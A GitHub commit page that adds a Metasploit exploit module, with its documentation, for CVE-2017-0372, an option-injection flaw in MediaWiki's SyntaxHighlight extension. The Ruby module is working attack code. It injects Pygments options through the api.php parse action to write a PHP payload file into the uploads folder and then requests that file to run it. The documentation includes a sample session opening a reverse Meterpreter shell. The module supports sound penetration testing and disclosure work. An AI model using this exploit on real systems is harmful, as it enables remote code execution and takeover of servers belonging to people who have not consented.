Skip to content

Commit 3360171

Browse files
committed
Land rapid7#8319, Add exploit module for Mediawiki SyntaxHighlight extension
2 parents b78749b + 1cc00b2 commit 3360171

File tree

2 files changed

+239
-0
lines changed

2 files changed

+239
-0
lines changed
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
## Vulnerable Application
2+
3+
Any MediaWiki installation with SyntaxHighlight version 2.0 installed & enabled. This extension ships with the AIO package of MediaWiki 1.27.x & 1.28.x. A fix for this issue is included in MediaWiki version 1.28.2 and version 1.27.3.
4+
5+
## Vulnerable Setup
6+
7+
To set up the vulnerable environment, please do:
8+
9+
1. Download [MediaWiki (such as 1.28.0)](https://releases.wikimedia.org/mediawiki/1.28/mediawiki-1.28.0.tar.gz)
10+
2. Install MediaWiki on a LAMP setup (ideally)
11+
3. Install composer ```curl -sS https://getcomposer.org/installer | sudo php -- --install-dir=/usr/local/bin --filename=composer```
12+
4. Do: ```cd /var/www/html/mediawiki/extensions/SyntaxHighlight_GeSHi```
13+
5. Do: ```composer update```
14+
6. Open your LocalSettings.php with a text editor, and add this line at the end of the file: ```wfLoadExtension( 'SyntaxHighlight_GeSHi' );```
15+
16+
At this point, you are ready to test this setup.
17+
18+
## Verification Steps
19+
20+
1. `use exploit/multi/http/mediawiki_syntaxhighlight`
21+
2. `set RHOST [ip target site]`
22+
3. `set TARGETURI [MediaWiki path]`
23+
4. `set UPLOADPATH [writable path in web root]`
24+
5. optionally set `RPORT`, `SSL`, and `VHOST`
25+
6. `exploit`
26+
7. **Verify** a new Meterpreter session is started
27+
28+
## Options
29+
30+
**TARGETURI**
31+
32+
The MediaWiki base path, the URL path on which MediaWiki is exposed. This is normally `/mediawiki`, `/wiki`, or `/w`.
33+
34+
**UPLOADPATH**
35+
36+
Folder name where MediaWiki stores the uploads, make sure to use a relative path here. For a regular installation this is the `images` folder. This folder needs to be writable by MediaWiki and accessible from the web root. The exploit will try to create a PHP file in this location that will later be called through the web server.
37+
38+
**CLEANUP**
39+
40+
Set this to true (the default) to unlink the PHP file created by this exploit module. The cleanup code will only be called when the exploit is successful.
41+
42+
**USERNAME**
43+
44+
In case the wiki is configured as private, a read-only (or better) account is needed to exploit this issue. Provide the username of that account here.
45+
46+
**PASSWORD**
47+
48+
In case the wiki is configured as private, a read-only (or better) account is needed to exploit this issue. Provide the password of that account here.
49+
50+
## Sample Output
51+
52+
### The Check command
53+
54+
The module comes with a check command that allows you to check whether the target might be
55+
vulnerable or not, for example:
56+
57+
```
58+
msf exploit(mediawiki_syntaxhighlight) > check
59+
[*] 192.168.146.203:80 The target appears to be vulnerable.
60+
```
61+
62+
### MediaWiki 1.27.1-2 on Ubuntu 16.10
63+
64+
```
65+
msf > use exploit/multi/http/mediawiki_syntaxhighlight
66+
msf exploit(mediawiki_syntaxhighlight) > set RHOST 192.168.146.137
67+
RHOST => 192.168.146.137
68+
msf exploit(mediawiki_syntaxhighlight) > set TARGETURI /mediawiki
69+
TARGETURI => /mediawiki
70+
msf exploit(mediawiki_syntaxhighlight) > exploit
71+
72+
[*] Started reverse TCP handler on 192.168.146.197:4444
73+
[*] Local PHP file: images/bwpqtiqgmeydivskjcjltnldb.php
74+
[*] Trying to run /mediawiki/images/bwpqtiqgmeydivskjcjltnldb.php
75+
[*] Sending stage (33986 bytes) to 192.168.146.137
76+
[*] Meterpreter session 1 opened (192.168.146.197:4444 -> 192.168.146.137:55768) at 2017-04-29 14:27:03 +0200
77+
```
Lines changed: 162 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,162 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = GoodRanking
8+
include Msf::Exploit::Remote::HttpClient
9+
10+
def initialize(info = {})
11+
super(update_info(info,
12+
'Name' => 'MediaWiki SyntaxHighlight extension option injection vulnerability',
13+
'Description' => %q{
14+
This module exploits an option injection vulnerability in the SyntaxHighlight
15+
extension of MediaWiki. It tries to create & execute a PHP file in the document root.
16+
The USERNAME & PASSWORD options are only needed if the Wiki is configured as private.
17+
18+
This vulnerability affects any MediaWiki installation with SyntaxHighlight version 2.0
19+
installed & enabled. This extension ships with the AIO package of MediaWiki version
20+
1.27.x & 1.28.x. A fix for this issue is included in MediaWiki version 1.28.2 and
21+
version 1.27.3.
22+
},
23+
'Author' => 'Yorick Koster',
24+
'License' => MSF_LICENSE,
25+
'Platform' => 'php',
26+
'Payload' => { 'BadChars' => "#{(0x1..0x1f).to_a.pack('C*')} ,'\"" } ,
27+
'References' =>
28+
[
29+
[ 'CVE', '2017-0372' ],
30+
[ 'URL', 'https://lists.wikimedia.org/pipermail/mediawiki-announce/2017-April/000207.html' ],
31+
[ 'URL', 'https://phabricator.wikimedia.org/T158689' ],
32+
[ 'URL', 'https://securify.nl/advisory/SFY20170201/syntaxhighlight_mediawiki_extension_allows_injection_of_arbitrary_pygments_options.html' ]
33+
],
34+
'Arch' => ARCH_PHP,
35+
'Targets' =>
36+
[
37+
['Automatic Targeting', { 'auto' => true } ],
38+
],
39+
'DefaultTarget' => 0,
40+
'DisclosureDate' => 'Apr 06 2017'))
41+
42+
register_options(
43+
[
44+
OptString.new('TARGETURI', [ true, "MediaWiki base path (eg, /w, /wiki, /mediawiki)", '/wiki' ]),
45+
OptString.new('UPLOADPATH', [ true, "Relative local upload path", 'images' ]),
46+
OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]),
47+
OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ]),
48+
OptBool.new('CLEANUP', [ false, "Delete created PHP file?", true ])
49+
])
50+
end
51+
52+
def check
53+
res = send_request_cgi({
54+
'method' => 'POST',
55+
'uri' => normalize_uri(target_uri.path, 'api.php'),
56+
'cookie' => @cookie,
57+
'vars_post' => {
58+
'action' => 'parse',
59+
'format' => 'json',
60+
'contentmodel' => 'wikitext',
61+
'text' => '<syntaxhighlight lang="java" start="0,full=1"></syntaxhighlight>'
62+
}
63+
})
64+
65+
if(res && res.headers.key?('MediaWiki-API-Error'))
66+
if(res.headers['MediaWiki-API-Error'] == 'internal_api_error_MWException')
67+
return Exploit::CheckCode::Appears
68+
elsif(res.headers['MediaWiki-API-Error'] == 'readapidenied')
69+
print_error("Login is required")
70+
end
71+
return Exploit::CheckCode::Unknown
72+
end
73+
74+
Exploit::CheckCode::Safe
75+
end
76+
77+
# use deprecated interface
78+
def login
79+
print_status("Trying to login....")
80+
# get login token
81+
res = send_request_cgi({
82+
'method' => 'POST',
83+
'uri' => normalize_uri(target_uri.path, 'api.php'),
84+
'vars_post' => {
85+
'action' => 'login',
86+
'format' => 'json',
87+
'lgname' => datastore['USERNAME']
88+
}
89+
})
90+
unless res
91+
fail_with(Failure::Unknown, 'Connection timed out')
92+
end
93+
json = res.get_json_document
94+
if json.empty? || !json['login'] || !json['login']['token']
95+
fail_with(Failure::Unknown, 'Server returned an invalid response')
96+
end
97+
logintoken = json['login']['token']
98+
@cookie = res.get_cookies
99+
100+
# login
101+
res = send_request_cgi({
102+
'method' => 'POST',
103+
'uri' => normalize_uri(target_uri.path, 'api.php'),
104+
'cookie' => @cookie,
105+
'vars_post' => {
106+
'action' => 'login',
107+
'format' => 'json',
108+
'lgname' => datastore['USERNAME'],
109+
'lgpassword' => datastore['PASSWORD'],
110+
'lgtoken' => logintoken
111+
}
112+
})
113+
unless res
114+
fail_with(Failure::Unknown, 'Connection timed out')
115+
end
116+
json = res.get_json_document
117+
if json.empty? || !json['login'] || !json['login']['result']
118+
fail_with(Failure::Unknown, 'Server returned an invalid response')
119+
end
120+
if json['login']['result'] == 'Success'
121+
@cookie = res.get_cookies
122+
else
123+
fail_with(Failure::Unknown, 'Failed to login')
124+
end
125+
end
126+
127+
def exploit
128+
@cookie = ''
129+
if datastore['USERNAME'] && datastore['USERNAME'].length > 0
130+
login
131+
end
132+
133+
check_code = check
134+
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
135+
fail_with(Failure::NoTarget, "#{peer}")
136+
end
137+
138+
phpfile = "#{rand_text_alpha_lower(25)}.php"
139+
cssfile = "#{datastore['UPLOADPATH']}/#{phpfile}"
140+
cleanup = "unlink(\"#{phpfile}\");"
141+
if not datastore['CLEANUP']
142+
cleanup = ""
143+
end
144+
print_status("Local PHP file: #{cssfile}")
145+
146+
res = send_request_cgi({
147+
'method' => 'POST',
148+
'uri' => normalize_uri(target_uri.path, 'api.php'),
149+
'cookie' => @cookie,
150+
'vars_post' => {
151+
'action' => 'parse',
152+
'format' => 'json',
153+
'contentmodel' => 'wikitext',
154+
'text' => "<syntaxhighlight lang='java' start='0,full=1,cssfile=#{cssfile},classprefix=&lt;?php #{cleanup}#{payload.encoded} exit;?&gt;'></syntaxhighlight>"
155+
}
156+
})
157+
if res
158+
print_status("Trying to run #{normalize_uri(target_uri.path, cssfile)}")
159+
send_request_cgi({'uri' => normalize_uri(target_uri.path, cssfile)})
160+
end
161+
end
162+
end

0 commit comments

Comments
 (0)